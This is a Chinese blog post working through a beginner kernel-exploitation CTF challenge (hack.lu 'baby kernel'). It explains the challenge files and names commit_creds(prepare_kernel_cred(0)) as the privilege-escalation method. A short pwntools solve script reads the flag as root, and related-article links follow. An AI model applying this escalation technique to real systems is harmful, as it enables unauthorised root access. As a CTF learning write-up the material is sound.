Kernel pwn-极简题目的操作模式

完全参照M4x师傅的指导,用 hacklu的baby kernel迈了第一步

题目附带文件说明

一般题目会给出bzImage,.cpio, .sh文件

  • sh文件适用于启动kernel的shell脚本文件,参数决定了内核的保护情况。

  • .cpio文件为文件系统映像。将其解压可以获得服务器交互程序的客户端

  • bzImage为kernel binary,可视为压缩后的文件

  • vmlinux文件(if exists), 未经压缩的kernel文件,为ELF格式。

    • 如果没有vmlinux文件,可以通过extract-vmlinux提取

    • ./extract-vmlinux ./bzImage > vmlinux

基本操作

  1. 获得服务器文件系统环境

    解压cpio文件,能够获得服务器内部文件分布,包括创建环境的init脚本和交互程序。

    在inti文件中,通过insmod命令加载驱动模块

    insmod /lib/modules/4.4.72/babydriver.ko

    一般情况下,被加载的LKM即为漏洞所在。

    .ko文件也是ELF文件格式,可以通过ida进行分析。

    可以通过分析交互elf文件,确定交互逻辑和调用内核模块的??

  2. 提权

    最常用的提权手段:

    commit_creds(prepare_kernel_cred(0))

    两个函数的地址可以在 /proc/kallsyms中查看。

    vmlinux是未压缩的kernel文件(ELF格式),可以通过vmlinux提取到gadget,当然也可以从vmlinux文件中获取上面两个函数的地址。

  3. loadling…

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
from pwn import *
#context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
# io = process('./client_kernel_baby')
io = remote('arcade.fluxfingers.net', 1817)
kernel = ELF('./vmlinux') # get the address of 2 functions from vmlinux
cred = kernel.sym['prepare_kernel_cred']
commit = kernel.sym['commit_creds'] # run prepare kernel cred(0) and get the return value
io.recvuntil('----- Menu -----')
io.sendlineafter('> ', '')
io.sendlineafter('>', str(cred))
io.sendlineafter('>', '')
io.recvuntil('It is: ')
ret_val = int(io.recvuntil('\n', drop = True),16) # run commit cred to get root private
io.sendlineafter('> ', '')
io.sendlineafter('>', str(commit))
io.sendlineafter('>', str(ret_val)) # read flag as root
io.sendlineafter('> ', '')
io.sendlineafter('>', 'flag') io.interactive()

作者:辣鸡小谱尼


出处:http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

First Kernel-pwn的更多相关文章

  1. kernel pwn 入门环境搭建

    刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了.. 好下面进入正题,环境总共就由两部分构成,qemu和gdb.这两个最好都需要使用源码安装. 我使用的安装环境为 qemu:安装前要 ...

  2. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  3. Kernel pwn 基础教程之 ret2usr 与 bypass_smep

    一.前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与 ...

  4. 0ctf 2017 kernel pwn knote write up

    UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...

  5. Kernel Pwn基础教程之 Double Fetch

    一.前言 Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy ...

  6. Kernel pwn 基础教程之 Heap Overflow

    一.前言 在如今的CTF比赛大环境下,掌握glibc堆内存分配已经成为了大家的必修课程.然而在内核态中,堆内存的分配策略发生了变化.笔者会在介绍内核堆利用方式之前先简单的介绍一下自己了解的内核内存分配 ...

  7. kernel base

    基础知识 学习网址:ctfwiki 安全客 Kernel:又称核心 维基百科:在计算机科学中是一个用来管理软件发出的数据I/O(输入与输出)要求的电脑程序,将这些要求转译为数据处理的指令并交由中央处理 ...

  8. iOS冰与火之歌(番外篇) - 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权

    iOS冰与火之歌(番外篇) 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权 蒸米@阿里移动安全 0x00 序 这段时间最火的漏洞当属阿联酋的人权活动人士被apt攻击所使用 ...

  9. Use-After-Free

    0x00 UAF利用原理 uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有 ...

  10. Linux Kernel中获取当前目录方法(undone)

    目录 . 引言 . 基于进程内存镜像信息struct mm_struct获取struct path调用d_path()获取当前进程的"绝对路径" . 基于文件描述符(fd).tas ...

随机推荐

  1. php面试笔记(2)-php基础知识-常量和数据类型

    本文是根据慕课网Jason老师的课程进行的PHP面试知识点总结和升华,如有侵权请联系我进行删除,email:guoyugygy@163.com 面试是每一个PHP初学者到PHP程序员必不可少的一步,冷 ...

  2. NIO学习笔记,从Linux IO演化模型到Netty—— 究竟如何理解同步、异步、阻塞、非阻塞

    我的观点 首先,分开各自理解. 1. 同步:描述两个(或者多个)个体之间的协调关系. 比如,单线程中,methodA调用了methodB,methodB返回后,methodA才往下执行,那么称A同步调 ...

  3. Webpack实战(八):教你搞懂webpack如果实现代码分片(code splitting)

    2020年春节已过,本来打算回郑州,却因为新型冠状病毒感染肺炎的疫情公司推迟了上班的时间,我也推迟了去郑州的时间,在家多陪娃几天.以前都是在书房学习写博客,今天比较特殊,抱着电脑,在楼顶晒着太阳,陪着 ...

  4. zabbix性能问题

    在我们的zabbixserver端主机数量过多时,如果由server端去收集数据,zabbix会出现严重的性能问题,主要的表现有: 1.当被监控端达到一个量级的时候,web操作会卡,容易出现502 2 ...

  5. vue路由--使用router.push进行路由跳转

    手机赚钱怎么赚,给大家推荐一个手机赚钱APP汇总平台:手指乐(http://www.szhile.com/),辛苦搬砖之余用闲余时间动动手指,就可以日赚数百元 route-link是在html中静态定 ...

  6. 如何用apply实现一个bind?

    面试题:如何用apply实现一个bind? Function.prototype._bind = function(target) { // 保留调用_bind方法的对象 let _this = th ...

  7. mysql必知必会--使用数据处理函数

    函数 与其他大多数计算机语言一样,SQL支持利用函数来处理数据.函数 一般是在数据上执行的,它给数据的转换和处理提供了方便. 在前一章中用来去掉串尾空格的 RTrim() 就是一个函数的例子 函数没有 ...

  8. Python 编程入门(2):复杂数据类型(列表,字典)

    以下所有例子都基于最新版本的 Python,为了便于消化,每一篇都尽量短小精悍,希望你能尽力去掌握 Python 编程的「概念」,可以的话去动手试一下这些例子(就算目前还没完全搞懂),加深理解. 在 ...

  9. 教你一种简单方法给word和PDF格式的文件使用电子签名

      前言  虽然还处在非常时期,但很多公司已陆陆续续复工或准备复工.   上周,人事妹纸给了我们一份,企业员工健康情况申报表.具体如下 现在问题来了,需要本人签名,电脑打上去的不算,需要手写. 此时, ...

  10. MySQL 8 用户定义函数

    MySQL Server可以通过创建或者加载UDFs(User-Defined Functions)来扩展服务器功能. 通过CREATE FUNCTION语句加载 UDF,比如: CREATE FUN ...